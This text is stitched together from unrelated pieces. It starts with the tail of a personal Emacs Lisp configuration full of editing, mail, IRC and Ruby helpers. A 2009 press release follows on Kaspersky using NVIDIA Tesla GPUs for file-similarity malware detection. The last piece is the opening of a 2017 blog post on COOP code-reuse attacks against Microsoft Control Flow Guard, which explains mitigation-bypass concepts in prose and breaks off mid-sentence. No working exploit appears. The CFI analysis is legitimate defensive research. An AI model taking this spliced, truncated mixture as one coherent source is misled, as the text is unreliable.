      (let* ((dic (if (boundp 'ispell-local-dictionary) ispell-local-dictionary ispell-dictionary))
             (change (if (string= dic "german8") "english" "german8")))
        (set (make-local-variable 'ispell-local-dictionary) change)
        (message "Dictionary switched to %s" change)
        ))
    
    (defun mt-transpose-windows (arg)
      "Transpose the buffers shown in two windows."
      (interactive "p")
      (let ((selector (if (>= arg 0) 'next-window 'previous-window)))
        (while (/= arg 0)
          (let ((this-win (window-buffer))
                (next-win (window-buffer (funcall selector))))
            (set-window-buffer (selected-window) next-win)
            (set-window-buffer (funcall selector) this-win)
            (select-window (funcall selector)))
          (setq arg (if (plusp arg) (1- arg) (1+ arg))))))
    
    
    (defun mt-mail-mail-setup ()
      (turn-on-auto-fill)
      (set-fill-column 66)
      (flyspell-mode 1)
      (bs-config-clear)
      (add-hook 'mew-init-hook 'bbdb-insinuate-mew)
      (setq bs-default-configuration "mail")
      (ispell-change-dictionary "german8")
      (mapc
       (lambda (mapping) 
         (apply #'define-key mew-draft-mode-map mapping))
       `(
         (,(kbd "C-c i") mt-quoted-insert-file)
         )))
    
    (add-hook 'mew-draft-mode-hook 'mt-mail-mail-setup)
    
    (defun mt-eshell-here ()
      "Run eshell in the current directory."
      (interactive)
      (let ((dir default-directory))
        (eshell)
        (unless (string= default-directory dir)
          (message "Switching to %s" dir)
          (eshell/cd (list dir))
          (eshell-emit-prompt))))
    
    (defun mt-occur (&optional arg)
      "Switch to *Occur* buffer, or run `occur'.
    Without a prefix argument, switch to the buffer.
    With a universal prefix argument, run occur again.
    With a numeric prefix argument, run occur with NLINES
    set to that number."
      (interactive "P")
      (if (and (not arg) (get-buffer "*Occur*"))
          (switch-to-buffer "*Occur*")
        (occur (read-from-minibuffer "Regexp: ")
               (if (listp arg) 0 arg))))
    
    (add-hook 'occur-mode-hook
              (lambda ()
                (local-set-key (kbd "<f1>") 'occur-next-error)))
    
    (defun mt-text-setup ()
      "Setup a text buffer,"
      (line-number-mode 1)
      (mt-turn-on-show-trailing-whitespace)
      (auto-fill-mode 1))
    
    ;;(require 'w3m-e21)
    ;;(provide 'w3m-e23)
    
    
    (defun mt-w3m-setup ()
      "Setup a w3m buffer."
      (set (make-local-variable 'auto-hscroll-mode) nil)
      ;; (setq browse-url-browser-function 'w3m-browse-url
      ;;       browse-url-new-window-flag f)
      (setq w3m-use-cookies t
            w3m-cookie-accept-bad-cookies t
            w3m-use-tab nil
            w3m-use-tab-menubar nil
            w3m-auto-show nil)
      (mapc
       (lambda (mapping)
         (apply #'define-key w3m-mode-map mapping))
       `((,(kbd "C-c C-@") lui-track-next-buffer)
         (,(kbd "<down>") next-line)
         (,(kbd "<up>") previous-line)
         (,(kbd "<right>") forward-char)
         (,(kbd "<left>") backward-char)
         (,(kbd "C-x b") ido-switch-buffer))))
    
    (defun mt-rcirc-setup ()
      "Setup a rcirc buffer."
      (flyspell-mode 1)
      (unicode-helper-mode 1)
      (rcirc-track-minor-mode 1)
      (size-indication-mode -1)
      (line-number-mode -1)
      (size-indication-mode -1)
      (display-time-mode -1)
      (abbrev-mode 1)
      (bs-config-clear)
      (setq bs-default-configuration "rcirc")
      (set (make-local-variable 'scroll-conservatively) 8192)
      (setq local-abbrev-table mt-rcirc-mode-abbrev-table)
      (setq rcirc-fill-column 60)
      (set (make-local-variable 'rcirc-fill-prefix) "           ")
      (mapc
       (lambda (mapping) 
         (apply #'define-key rcirc-mode-map mapping))
       `(
         (,(kbd "M-q") rcirc-unfill)
         (,(kbd "C-x x") mt-ruby-xmp-region)
         )))
    
    
    
    (defun mt-newsticker-setup ()
      "Setup a newsticker buffer."
      (setq newsticker-automatically-mark-items-as-old t)
      (setq newsticker-automatically-mark-visited-items-as-old t)
      (setq newsticker-hide-old-items-in-newsticker-buffer t)
      (setq newsticker-retrieval-interval 600)
      (setq newsticker--auto-narrow-to-item nil)
      (setq newsticker--auto-narrow-to-feed nil)
      )
    
    (defun mt-dylan-setup ()
      "Setup a dylan buffer."
      (line-number-mode 1)
      (abbrev-mode 1)
      (filladapt-mode 1)
      (set (make-local-variable 'auto-hscroll-mode) nil)
      (mapc
       (lambda (mapping)
         (apply #'define-key dylan-mode-map mapping))
       `(
         (,(kbd "C-c C-c") compile)
         )))
    
    (defun mt-haskell-setup ()
      "Setup a haskell buffer."
      (line-number-mode 1)
      (abbrev-mode 1)
      (filladapt-mode 1)
      (set (make-local-variable 'auto-hscroll-mode) nil)
      (turn-on-font-lock)
      (turn-on-haskell-decl-scan)
      (turn-on-haskell-doc-mode)
      (turn-on-haskell-indent)
      (set-variable 'haskell-program-name "ghci")
      (setq compile-command  "make")
      (setq comment-padding " ")
      (setq comment-start "--"))
    (mapc
     (lambda (mapping)
       (apply #'define-key haskell-mode-map mapping))
     `(
       (,(kbd "C-c C-c") compile)
       (,(kbd "TAB") mt-indent-or-complete)
       (,(kbd "C-c C-s") run-haskell)
       (,(kbd "C-c C-I") imenu)
       ))
    
    (add-to-list 'filladapt-token-table '("-- " haskell-comment))
    (add-to-list 'filladapt-token-match-table '(haskell-comment haskell-comment))
    (add-to-list 'filladapt-token-conversion-table '(haskell-comment . exact))
    
    (defun mt-sass-setup ()
      (mapc
       (lambda (mapping)
         (apply #'define-key sass-mode-map mapping))
       `((,(kbd "RET") newline-and-indent)
         )))
    
    (defun mt-haml-setup ()
      (mapc
       (lambda (mapping)
         (apply #'define-key haml-mode-map mapping))
       `((,(kbd "RET") newline-and-indent)
         )))
    
    (defun mt-howmc-setup ()
      ;; (mapc
      ;;  (lambda (mapping)
      ;;    (apply #'define-key howm-mode-map mapping))
      ;;  `((,(kbd "RET") haml-indent-line)
      ;;    ))
    )
    
    
    (defun mt-html-setup ()
      "Initialize the HTML mode for my purposes."
      (set (make-local-variable 'time-stamp-start)
           "<!-- time stamp start -->\n")
      (set (make-local-variable 'time-stamp-end)
           "\n<!-- time stamp end -->")
      (set (make-local-variable 'time-stamp-format)
           "<p class=\"timestamp\">Last modified: %3a %3b %2d %02H:%02M:%02S %Z %:y</p>")
      (set (make-local-variable 'time-stamp-line-limit) 0)
      (when (= (point-min)
               (point-max))
        (let ((ins nil))
          (if (string-match "\\.ht$" (buffer-file-name))
              (progn
                (insert "<h1>")
                (setq ins (point))
                (insert "</h1>\n")
                (insert "\n"
                        "<!-- time stamp start -->\n"
                        "\n"
                        "<!-- time stamp end -->\n"))
            (insert "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
                    "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"\n"
                    "                      \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n"
                    "<html xmlns=\"http://www.w3.org/1999/xhtml\">\n"
                    "<head>\n"
                    "<link rel=\"stylesheet\" type=\"text/css\" href=\"screen.css\"/>\n"
                    "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n"
                    "<title>")
            (setq ins (point))
            (insert "</title>\n"
                    "</head>\n"
                    "\n"
                    "<body>\n"
                    "<h1></h1>\n"
                    "\n"
                    "\n"
                    "\n"
                    "<hr />\n"
                    "<address>"
                    "ackro.ath.cx"
                    "</address>\n"
                    "<!-- Created: "
                    (format-time-string "%a %b %e %T %Z %Y")
                    " -->\n"
                    "<!-- time stamp start -->\n"
                    "\n"
                    "<!-- time stamp end -->\n"
                    "</body> </html>\n"))
          (goto-char ins))))
    
    (defun mt-turn-on-show-trailing-whitespace ()
      "Set `show-trailing-whitespace' to t."
      (setq show-trailing-whitespace t))
    
    (defun mt-try-complete-abbrev (old)
      (if (expand-abbrev) t nil))
    
    (defadvice comment-dwim (around xmp-hack activate)
      ""
      (if (and (eq last-command 'comment-dwim))
          (insert "=>")  ad-do-it))
    
    (defun mt-isearch-occur ()
      "Invoke `occur' from within isearch."
      (interactive)
      (let ((case-fold-search isearch-case-fold-search))
        (occur (if isearch-regexp isearch-string (regexp-quote isearch-string)))))
    
    (defun mt-match-paren (arg)
      "Go to the matching paren if on a paren; otherwise insert %."
      (interactive "p")
      (cond ((looking-at "\\s\(") (forward-list 1) (backward-char 1))
            ((looking-at "\\s\)") (forward-char 1) (backward-list 1))
            (t (self-insert-command (or arg 1)))))
    
    (defun isearch-yank-regexp (regexp)
      "Pull REGEXP into search regexp." 
      (let ((isearch-regexp nil)) ;; Dynamic binding of global.
        (isearch-yank-string regexp))
      (isearch-search-and-update))
      
    (defun isearch-yank-symbol (&optional partialp)
      "Put symbol at current point into search string.
      
      If PARTIALP is non-nil, find all partial matches."
      (interactive "P")
      (let* ((sym (find-tag-default))
             ;; Use call of `re-search-forward' by `find-tag-default' to
             ;; retrieve the end point of the symbol.
             (sym-end (match-end 0))
             (sym-start (- sym-end (length sym))))
        (if (null sym)
            (message "No symbol at point")
          (goto-char sym-start)
          ;; For consistent behavior, restart Isearch from starting point
          ;; (or end point if using `isearch-backward') of symbol.
          (isearch-search)
          (if partialp
              (isearch-yank-string sym)
            (isearch-yank-regexp
             (concat "\\_<" (regexp-quote sym) "\\_>"))))))
      
    (defun isearch-current-symbol (&optional partialp)
      "Incremental search forward with symbol under point.
      
      Prefixed with \\[universal-argument] will find all partial
      matches."
      (interactive "P")
      (let ((start (point)))
        (isearch-forward-regexp nil 1)
        (isearch-yank-symbol partialp)))
      
    ;; by xsteve
    (defun mt-show-message-buffer (arg)
      "Show the *message* buffer.
    When called with a prefix argument, show the *trace-output* buffer."
      (interactive "P")
      (let ((buffer (current-buffer)))
        (pop-to-buffer (if arg "*trace-output*" "*Messages*"))
        (goto-char (point-max))
        (recenter -12)
        (pop-to-buffer buffer)))
    
    (defun mt-show-scratch-buffer ()
      "Show the *scratch* buffer."
      (interactive)
      (let ((buffer (current-buffer)))
        (pop-to-buffer "*scratch*")
        (goto-char (point-max))
        (recenter -12)
        (pop-to-buffer buffer)))
    
    
    (defun isearch-backward-current-symbol (&optional partialp)
      "Incremental search backward with symbol under point.
      
      Prefixed with \\[universal-argument] will find all partial
      matches."
      (interactive "P")
      (let ((start (point)))
        (isearch-backward-regexp nil 1)
        (isearch-yank-symbol partialp)))
    
    ;; 10.12.2001; xsteve
    ;; 17.03.2008; Michael 'mictro' Trommer <mictro@gmail.com>, Nato (international code)
    (setq nato-alphabet
    '(("A" . "Alfa") ("B" . "Bravo") ("C" . "Charlie") ("D" . "Delta") ("E" . "Echo")
      ("F" . "Foxtrot") ("G" . "Golf") ("H" . "Hotel") ("I" . "India") ("J" . "Juliet")
      ("K" . "Kilo") ("L" . "Lima") ("M" . "Mike") ("N" . "November") ("O" . "Oscar")
      ("P" . "Papa") ("Q" . "Quebec") ("R" . "Romeo") ("S" . "Sierra") ("T" . "Tango")
      ("U" . "Uniform") ("V" . "Victor") ("W" . "Whiskey") ("X" . "Xray")
      ("Y" . "Yankee") ("Z" . "Zulu") ("1" . "One") ("2" . "Two") ("3" . "Three") 
      ("4" . "Four") ("5" . "Five") ("6" . "Six") ("7" . "Seven") ("8" . "Eight")
      ("9" . "Nine") ("0" . "Zero") (" " . "_")))
    
    ;; 10.12.2001; xsteve
    ;; 17.03.2008; Michael 'mictro' Trommer <mictro@gmail.com>, use region
    (defun nato-on-region (beg end)
      (interactive "r")
      (insert 
       (format "%s" 
               (mapcar (lambda (ch)
                         (cdr (assoc (char-to-string ch) nato-alphabet))) (upcase (buffer-substring beg end)))))
      (kill-region beg end))
    
    
    (defun mt-insert-signature ()
      (interactive)
      (insert (shell-command-to-string "mksig")))
    
    (defvar url-nonrelative-link "\\`\\([-a-zA-Z0-9+.]+:\\)"
      "A regular expression that will match an absolute URL.")
    
    (defun mt-textile-region-to-file (start end)
      (interactive "r")
      "Save current region in a temporarily file and return the filename as string"
      (shell-command-on-region start end (concat "2textile.rb" " ")))
    
    (defun mt-qp-decode (start end)
      (interactive "r")
      (let ((coding-system-for-read 'latin-1))
        (shell-command-on-region start end (concat "qp -d" " ") t))
      (fill-region start end))
    
    (defun mt-nopaste-region-to-file (start end)
      "Save current region in a temporarily file and return the filename as string"
      (let ((filename (make-temp-file "/tmp/nopaste")))
        (kill-ring-save start end)
        (find-file filename)
        (yank)
        (save-buffer)
        (kill-buffer (substring filename 5))
        filename))
    
    (defun mt-nopaste-send (file)
      (message (concat "pasting with " nopaste-facility))
      (kill-new
       (shell-command-to-string (concat nopaste-facility " " file))))
    
    (defun mt-nopaste-region (start end)
      "Send the current region to nopaste"
      (interactive "r")
      (mt-nopaste-send (mt-nopaste-region-to-file start end)))
    
    
    (defun mt-insert-last-paste ()
      "Insert last paste url from ~/.lastpste"
      (interactive)
      (save-excursion
        (insert-file-literally "/Users/mit/.lastpste"))
      (goto-char (point-at-eol)))
    
    (defun mt-kill-file-and-buffer ()
      "Removes file associated to current buffer."
      (interactive )
      (when (y-or-n-p (concat "Delete " buffer-file-name "? "))
        (delete-file (buffer-file-name))
        (kill-buffer nil)))
    
    (defun mt-insert-ackro-post-skel (comp)
      "Insert what we're playing right now."
      (interactive "sComponent? ")
      (save-excursion
        (let ((coding-system-for-read 'latin-1))
          (call-process "/Users/mit/bin/backbite" nil t nil (concat "polis gen post " comp)))
        (backward-delete-char 1))
      (goto-char (point-at-eol)))
    
    
    ;;25.07.2000; xsteve
    (defun mt-copy-buffer-file-name-as-kill(choice)
      "Copy the buffer-file-name to the kill-ring"
      (interactive "cCopy BufferName (f)ull, (d)irectory, (n)ame, (w)ikiname or (q)uit?")
      ;(message "your choice %c" choice)
      (let ((new-kill-string)
            (name (if (eq major-mode 'dired-mode)
                      (dired-get-filename)
                    (or (buffer-file-name) ""))))
        (cond ((eq choice ?f)
               (setq new-kill-string name))
              ((eq choice ?d)
               (setq new-kill-string (file-name-directory name)))
              ((eq choice ?n)
               (setq new-kill-string (file-name-nondirectory name)))
              ((eq choice ?w)
               (setq new-kill-string (run-hook-with-args-until-success 'planner-annotation-functions))))
        (when new-kill-string
          (message "%s copied" new-kill-string)
          (kill-new new-kill-string))))
    
    
    ;;08.04.2003: Kai Großjohann
    ;;2008-03-17: Michael 'mictro' Trommer <mictro@gmail.com>, use prefix
    (defun mt-increment-number-at-point (amount)
      "Increment number at point by given AMOUNT."
      (interactive "P")
      (let ((bounds (bounds-of-thing-at-point 'symbol))
            (old-num (number-at-point)))
        (unless old-num
          (error "No number at point"))
        (delete-region (car bounds) (cdr bounds))
        (insert (format "%d" (+ old-num (if amount amount 1))))))
    
    
    (defun mt-insert-mpd-np (prefix)
      "Insert what we're playing right now."
      (interactive "P")
      (save-excursion
        (let ((coding-system-for-read 'utf-8))
          (call-process "/Users/mit/bin/np" nil t nil (if prefix "ssh" "")))
        (backward-delete-char 1))
      (goto-char (point-at-eol)))
    
    (defun mt-insert-userid ()
      "Insert the my full name and address"
      (interactive)
      (insert "Michael 'mictro' Trommer <mictro@gmail.com>"))
    
    (defun mt-indent-buffer ()
      (interactive)
      (save-excursion
        (indent-region (point-min) (point-max) nil)))
    
    (require 'calendar)
    (defun mt-insert-any-date (&optional days)
      (interactive "p*")
      (insert
       (calendar-date-string
        (calendar-gregorian-from-absolute
         (+ (calendar-absolute-from-gregorian (calendar-current-date))
            days)))))
    
    (defun mt-insert-date (prefix)
      "Insert the current date. With prefix-argument, use ISO format. With
    two prefix arguments, write out the day and month name."
      (interactive "P")
      (let ((format (cond
                     ((not prefix) "%Y-%m-%d")
                     ((equal prefix '(4)) "%d.%m.%Y")
                     (t "%A, %d. %B %Y")))
            (system-time-locale "de_DE"))
        (insert (format-time-string format))))
    
    
    (defun mt-kill-to-beginning-of-line ()
      "Kill from the beginning of the line to point."
      (interactive)
      (kill-region (point-at-bol)
                   (point)))
    
    (defun mt-remove-cr ()
      "Remove all occurrences of ^M in the current buffer."
      (interactive)
      (save-excursion
        (goto-char (point-min))
        (while (re-search-forward "\r" nil t)
          (replace-match ""))))
    
    (defun mt-quoted-insert-file (name delim)
      "Insert contents of a file with a delimiter, as in mail."
      (interactive "*fInsert file: \nsDelimiter (default \"> \"):")
      (if (string= ""delim) (setq delim "> "))
      (insert-file name)
      (replace-regexp "^"delim))
    
    (defun mt-unfill-paragraph ()
      (interactive)
      (let ((fill-column (point-max)))
        (fill-paragraph nil)))
    
    (defun mt-indent-or-complete ()
      "Complete if point is at end of a word, otherwise indent line."
      (interactive)
      (if snippet
          (snippet-next-field)
        (if (looking-at "\\>")
            (dabbrev-expand nil)
          (indent-for-tab-command))))
    
    (defun mt-insert-gpl-v2 ()
      "Insert standard GPL header."
      (interactive "*")
      (insert "# programm - the description\n"
              "# Copyright (C) Michael 'mictro' Trommer <mictro@gmail.com>\n"
              "#\n"
              "# This program is free software; you can redistribute it and/or\n"
              "# modify it under the terms of the GNU General Public License\n"
              "# as published by the Free Software Foundation; either version 2\n"
              "# of the License, or (at your option) any later version.\n"
              "#\n"
              "# This program is distributed in the hope that it will be useful,\n"
              "# but WITHOUT ANY WARRANTY; without even the implied warranty of\n"
              "# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n"
              "# GNU General Public License for more details.\n"
              "#\n"
              "# You should have received a copy of the GNU General Public License\n"
              "# along with this program; if not, write to the Free Software\n"
              "# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.\n"
              "#\n\n"))
    
    (defun mt-lorem ()
      "Insert a lorem ipsum."
      (interactive)
      (insert "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do "
              "eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad "
              "minim veniam, quis nostrud exercitation ullamco laboris nisi ut "
              "aliquip ex ea commodo consequat. Duis aute irure dolor in "
              "reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla "
              "pariatur. Excepteur sint occaecat cupidatat non proident, sunt in "
              "culpa qui officia deserunt mollit anim id est laborum."))
    
    
    (defun mt-eshell-maybe-bol ()
      (interactive)
      (let ((p (point)))
        (eshell-bol)
        (if (= p (point))
            (beginning-of-line))))
    
    (defun mt-dict-cc (word)
      (interactive "sWord: ")
      (w3m-browse-url 
       (format "http://dict.cc/?s=%s" 
               (w3m-url-encode-string word))))
    
    (defun mt-google (what)
      "Use google to search for WHAT."
      (interactive "sSearch: ")
      (w3m-browse-url (concat "http://www.google.de/search?q="
                              (w3m-url-encode-string what))))
    
    (defalias 'g (symbol-function 'mt-google))
    
    ;; http://www.ee.ryerson.ca/~elf/pb/mac-dot-emacs
    (defun next-word () (interactive) (forward-word 2) (backward-word 1))
    
    (defun mt-choose-browser (url &rest args)
      (interactive "sURL: ")
      (if (y-or-n-p "External browser? ")
          ;;(mt-browse-url-firefox-new-tab url)
          (setq browse-url-browser-function 'browse-url-default-macosx-browser)
        (w3m-browse-url url)))
    
    (defun mt-browse-url-firefox-new-tab (url &optional new-window)
      "Open URL in a new tab in Firefox."
      (interactive (browse-url-interactive-arg "URL: "))
      (shell-command-to-string (concat "btab '" url "'" )))
    
    (defun rfc (num)
      "Show RFC NUM in a buffer."
      (interactive "nRFC (0 for index): ")
      (let ((url (if (zerop num)
                     "http://www.ietf.org/iesg/1rfc_index.txt"
                   (format "http://www.ietf.org/rfc/rfc%i.txt" num)))
            (buf (get-buffer-create "*RFC*")))
        (with-current-buffer buf
          (let ((inhibit-read-only t))
            (delete-region (point-min) (point-max))
            (let ((proc (start-process "wget" buf "wget" "-q" "-O" "-" url)))
              (set-process-sentinel proc 'rfc-sentinel))
            (message "Getting RFC %i..." num)))))
    
    (defun rfc-sentinel (proc event)
      "Sentinel for `rfc'."
      (with-current-buffer (process-buffer proc)
        (goto-char (point-min))
        (view-mode 1)
        (when (fboundp'rfcview-mode)
          (rfcview-mode)))
      (display-buffer (process-buffer proc)))
    
    (provide 'mt-functions)
    
    
    
    ;; mt-ruby.el
    
    
    (defun mt-ruby-xmp-region (reg-start reg-end)
      "Pipe the region through Ruby's xmp utility and replace the region 
    with the result."
      (interactive "r")
      (save-excursion
        (shell-command-on-region reg-start reg-end "xmp" t)
        (backward-delete-char 1))
      (goto-char (point-at-eol)))
    
    (defun mt-ruby-xmp-buffer ()
      (interactive)
      (save-excursion
        (shell-command-on-region 1 (point-max) (mt-ruby-xmp-command) t t))
      (goto-char (point-max)))
    
    (defun mt-ruby-xmp-command ()
      (cond ((save-excursion
               (goto-char 1)
               (search-forward "< Test::Unit::TestCase" nil t))
             "ruby -S xmpfilter.rb --unittest")
            ((save-excursion
               (goto-char 1)
               (re-search-forward "^context.+do$" nil t))
             "ruby -S xmpfilter.rb --spec")
            (t
             "ruby -S xmpfilter.rb")))
    
    (defun mt-ruby-eval-buffer () (interactive)
      "Evaluate the buffer with ruby."
      (shell-command-on-region (point-min) (point-max) "ruby"))
    
    (defun mt-ruby-compile (&optional arg)
      "Evaluate the buffer with ruby."
      (interactive "P")
      (if arg 
          (if (equal arg '(4))
              (compile "rake specdoc")
            (message arg))
        (compile "rake spec")))
    
    
    (defun mt-ruby-setup ()
      "Setup a ruby buffer."
      (let ((ruby-mode-hs-info
             '(ruby-mode
               "class\\|module\\|def\\|begin"
               "end"
               "#"
               ruby-move-to-block
               nil
               )))
        (if (not (member ruby-mode-hs-info hs-special-modes-alist))
            (setq hs-special-modes-alist
                  (cons ruby-mode-hs-info hs-special-modes-alist))))
      (unicode-helper-mode 1)
      (hs-minor-mode 1)
      (flymake-mode 0)
      (hs-hide-initial-comment-block)
      (highlight-changes-mode 0)
      (setq ruby-program-name "irb --inf-ruby-mode")
      (highlight-parentheses-mode 1)
      (setq compile-command  "rake spec")
      (inf-ruby-keys)
      (line-number-mode 1)
      ;(ruby-block-mode t)
      ;; do overlay
      (setq ruby-block-highlight-toggle 'overlay)
      ;; display to minibuffer
      (setq ruby-block-highlight-toggle 'minibuffer)
      ;; display to minibuffer and do overlay
      (setq ruby-block-highlight-toggle t)
      (ruby-electric-mode 1)
      (setq local-abbrev-table mt-ruby-mode-abbrev-table)
      ;;  (highline-local-mode 1)
      (fillcode-mode 1)
      (setq outline-regexp "#{{{]\\|###autoload\\|(")
      (setq ruby-electric-no-matching-char-in-word nil)
      (setq my-ruby-compilation-arguments "rake spec")
      (set (make-local-variable 'auto-hscroll-mode) nil)
      (bs-config-clear)
      (filladapt-mode 1)
      (setq bs-default-configuration "ruby")
      (mapc
       (lambda (mapping)
         (apply #'define-key ruby-mode-map mapping))
       `(
         (,(kbd "RET") ruby-reindent-then-newline-and-indent)
         (,(kbd "TAB") mt-indent-or-complete)
         (,(kbd "C-x x") mt-ruby-xmp-region)
         (,(kbd "C-x R") mt-ruby-eval-buffer)
         (,(kbd "C-c RET") mt-ruby-compile)
         (,(kbd "C-x t") mt-ruby-xmp-buffer)
         (,(kbd "C-c p") toggle-buffer)
         (,(kbd "C-c s") toggle-style)
         (,(kbd "C-h i") ri)
         (,(kbd "C-c C-e") hs-show-block)
         (,(kbd "C-c C-c") hs-toggle-hiding)
         (,(kbd "C-c C-x") hs-hide-block)
         (,(kbd "C-c C-t") hide-body)
         (,(kbd "C-c C-a") hs-show-all)
         (,(kbd "C-c C-h") hs-hide-all)
         (,(kbd "C-c C-l") hs-hide-level))))
    
    (defun mt-rails-setup ()
      ;; "Setup a RoR buffer."
      ;; (line-number-mode 1)
      ;; (abbrev-mode 1)
      ;; (set (make-local-variable 'auto-hscroll-mode) nil)
      ;; (bs-config-clear)
      ;; (filladapt-mode 1)
      ;; (setq bs-default-configuration "ruby")
      ;; (mapc
      ;;  (lambda (mapping)
      ;;    (apply #'define-key ruby-mode-map mapping))
      ;;  `((,(kbd "RET") ruby-reindent-then-newline-and-indent)
      ;;    (,(kbd "TAB") mt-indent-or-complete)
      ;;    (,(kbd "C-h i") ri)
      ;;    )))
    )
    
    (provide 'mt-ruby)
    
    
    
[/code]

# Kaspersky Lab utilizes NVIDIA technologies to enhance protection

**Created:**| _12/18/2009 10:18:49 PM_  
---|---  
**Updated:**| _12/18/2009 10:18:53 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Kaspersky Lab utilizes NVIDIA technologies to enhance protection

Kaspersky Lab, a leading developer of secure content management solutions,
announces the incorporation of new parallel computing technologies by NVIDIA
into its infrastructure. In order to enhance client protection still further,
the Company has started to use the highly efficient NVIDIA Tesla S1070 which
is based on multi-core graphics processors.

NVIDIA Tesla GPUs are based on CUDA, NVIDIA's computing architecture that
enables its GPUs to be programmed using industry standard programming
languages and APIs. Kaspersky Lab uses the Tesla S1070 1U GPU system to
accelerate the intellectual services that define the similarity of files. The
similarity services enable the identification of new files and define which
file, or file groups, most closely resemble the unknown program received by
the Company's antivirus lab.

The use of Tesla S1070 by the similarity-defining services has significantly
boosted the rate of identification of unknown files, thus making for a quicker
response to new threats and providing users with even faster and more complete
protection. During internal testing, the Tesla S1070 demonstrated a 360-fold
increase in the speed of the similarity-defining algorithm when compared to
the popular Intel Core 2 Duo central processor running at a clock speed of 2.6
GHz.

The similarity algorithms have been especially optimized to operate with the
latest computer systems. They have been considerably redeveloped to
simultaneously perform hundreds of thousands of instructions, each requiring
processing by large data arrays. Kaspersky Lab specialists utilized the NVIDIA
CUDA SDK development environment specifically for this purpose as it allows
programs to be written for the latest generations of NVIDIA graphics
processors in standard programming languages.

"As our company aims to provide the best protection to our users, we actively
employ advanced technologies to accelerate computing." stated Nikolay
Grebennikov, Chief Technical Officer for Kaspersky Lab. "We could not ignore
the advantages of modern graphics processing units \(GPU\). In terms of
efficiency they have long been far ahead of central processing units \(CPU\)
аnd the tasks that they are capable of performing have gone beyond the scope
of basic graphics processing. The architecture of the GPUs is optimized for
the parallel processing of large data arrays and we have already started to
use this attribute to provide our clients with an even better level of
protection from new malicious programs."

"The ever increasing sophistication of computer viruses continues to be a big
problem for consumers and corporations alike", said Andy Keane, general
manager, Tesla business at NVIDIA. "Kaspersky Labs continues to stay ahead of
the curve by employing very novel change management and file similarity
detection techniques that, with the help of NVIDIA Tesla GPUs, can quickly
identify new threats and update the anti-virus software".

Kaspersky Lab is planning to expand the application of highly-efficient
parallel computing on graphics processors. They will be further integrated
into the internal infrastructure and possibly into the Company's own
protection solutions too.

# Disarming Control Flow Guard Using Advanced Code Reuse Attacks

**Created:**| _5/28/2017 11:07:09 AM_  
---|---  
**Updated:**| _5/28/2017 11:07:09 AM_  
**Author:**| __  
**Tags:**| _Exploit vulnerability windows-environment_  
  

  

# Disarming Control Flow Guard Using Advanced Code Reuse Attacks

__ Matt Spisak

April 25, 2017

<img src='img/Temp2_2292.png' width='680' height='400' />

Advanced exploitation is moving away from ROP-based code-reuse attacks. Over
the last two years, there has been a flurry of papers related to one novel
code-reuse attack, Counterfeit Object-Oriented Programming \(COOP\). COOP
represents a state of the art attack targeting forward-edge control-flow
integrity \(CFI\), and caught our attention in 2016 as we were integrating our
CFI solution \(HA-CFI\) into our endpoint product. COOP largely remains in
academia, and has yet to show up in exploit kits. This may be because
attackers migrate towards a path of least resistance. In the case of Microsoft
Edge on Windows 10 Anniversary Update, protected by Control Flow Guard
\(CFG\), that path of least resistance is the absence of backward-edge CFI.
But what happens when Return Flow Guard \(RFG\) emerges and the attacker can
no longer rely on corrupting a return address on the stack?

We were curious to evaluate COOP against modern CFI implementations. This not
only is a useful exercise to keep us on top of cutting-edge research in
academia and the hacking community, but it also allows us to measure the
effectiveness, alter the design, or generally improve upon our own mitigations
when necessary. This first of our two-part blog series covers our adventures
evaluating COOP function-reuse attacks against Microsoft’s CFG and later our
own HA-CFI.

**Microsoft Control Flow Guard**

There have been a number of papers, blogs, and conference talks already
discussing Microsoft’s Control Flow Guard \(CFG\) at length. Trail of Bits
does an excellent job of comparing Clang CFI and Microsoft CFG in two recent
posts. The first post focuses on Clang, the second emphasizes Microsoft’s
implementation of CFI, while additional research provides further detail on
the implementation of CFG.

Bypassing CFG has also been a popular subject at security conferences the past
few years. Before we cite some notable bypasses it is first important to note
that CFI can be further broken down into two types: forward-edge and backward-
edge.

  * **Forward-Edge CFI** : Protects indirect CALL or JMP sites. Forward-edge CFI solutions include Microsoft CFG and Endgame’s HA-CFI.
  * **Backward-Edge CFI** : Protects RET instructions. Backward-edge CFI solutions would include Microsoft Return Flow Guard, components of Endgame’s DBI exploit prevention, as well as other ROP detections including Intel’s CET. 

This categorization helps delineate what CFG is designed to protect – indirect
call sites – and what it’s not meant to protect – the return stack. For
instance, a recent POC ended up in exploit kits targeting Edge using a R/W
primitive to modify a return address on the stack. This is not applicable to
CFG, and should not be considered a weakness of CFG. If anything, it
demonstrates CFG successfully pushing attackers to hijack control flow
somewhere other than at indirect call sites. Examples that actually
demonstrate flaws or limitations of CFG include: leveraging unprotected call
sites, remapping read-only memory regions containing CFG code pointers and
changing them to point to code that always passes a check, a race condition
with the JIT encoder in Chakra, and using memory-based indirect calls. COOP or
function-reuse attacks in general are an acknowledged limitation for some CFI
implementations and noted as out-of-scope for Microsoft’s bypass bounty due to
“limitations of coarse-grained CFI”. That said, we are not aware of any public
domain POCs that demonstrate COOP to specifically attack CFG hardened
binaries.

CFG adds a \_\_guard\_fids\_table to each protected DLL, composed of a list of
RVAs of valid or sensitive targets for indirect call sites within the binary.
An address is used as an index into a CFG bitmap, where bits can be toggled
depending upon whether the address should be a valid destination. An API also
exists to modify this bitmap, for example, to support JIT encoded pages:
kernelbase\!SetProcessValidCallTargets which invokes
ntdll\!SetInformationVirtualMemory before making the syscall to update the
bitmap.

A new enhancement to CFG in Windows 10 Creators Update enables suppression of
exports. In other words, exported functions can now be marked as invalid
target addresses for CFG protected call sites. The implementation of this
requires using a second bit for each address within the CFGBitmap, as well as
a flags byte in the \_\_guard\_fids\_table for each RVA entry when building
the initial per process bitmap.

For 64-bit systems, bits 9-63 of the address are used as an index to retrieve
a qword from the CFG bitmap, and bits 3-10 of the address are used \(modulo
64\) to access a specific bit within the qword. With export suppression, the
CFG permissions for a given address are represented by two bits in the CFG
